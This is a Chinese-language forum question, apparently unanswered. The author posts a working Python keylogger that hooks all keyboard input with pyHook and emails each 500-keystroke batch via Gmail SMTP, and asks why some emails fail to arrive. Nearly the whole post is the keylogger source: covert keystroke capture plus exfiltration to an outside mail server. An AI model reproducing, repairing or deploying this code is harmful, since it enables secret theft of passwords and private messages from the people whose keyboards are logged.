1

我写了一个简单的键盘记录器,每按下 500 个键就发送一封电子邮件。及其工作。但这并不可靠,有时会发送电子邮件,但有时不会。可以说,我按一个键 1500 次,这应该是 3 封邮件,记录了 500 个键。但是我可以收到三封电子邮件,两封,一封或零封……取决于失败的原因……看看这段代码,你能说出为什么吗?

import smtplib
import pyHook
import pythoncom

class Keylogger:

    def __init__(self):
        self.keylog = ''

    def OnKeyboardEvent(self, event):
        self.keylog += str(event.Key)
        if len(self.keylog) >= 500:  # Check size of the keystrokes captured
            # MAIL STUFF
            self.send_email('smtp.gmail.com', 587, 'your@email.com', 'yourpass', '%Keylogger Dump%', self.keylog)
            self.keylog = ''  # Reset keylog to capture new keystrokes
        return True

    def send_email(self, server, port, email, password, subject, body):
        session = smtplib.SMTP(server, port)
        session.ehlo()
        session.starttls()
        session.ehlo()
        session.login(email, password)

        headers = [
            "From: " + email,
            "Subject: " + subject,
            "To: " + email,
            "MIME-Version: 1.0",
            "Content-Type: text/html"
        ]
        headers = "\r\n".join(headers)

        session.sendmail(email, email, headers + "\r\n\r\n" + body)
        session.close()

if __name__ == '__main__':
    # Entry Point
    hook_manager = pyHook.HookManager()     # Create a new hook manager
    hook_manager.KeyDown = Keylogger().OnKeyboardEvent  # Assign the keydown event to our custom method
    hook_manager.HookKeyboard()             # Hook the keyboard events
    pythoncom.PumpMessages()                # Run forever
4

0 回答 0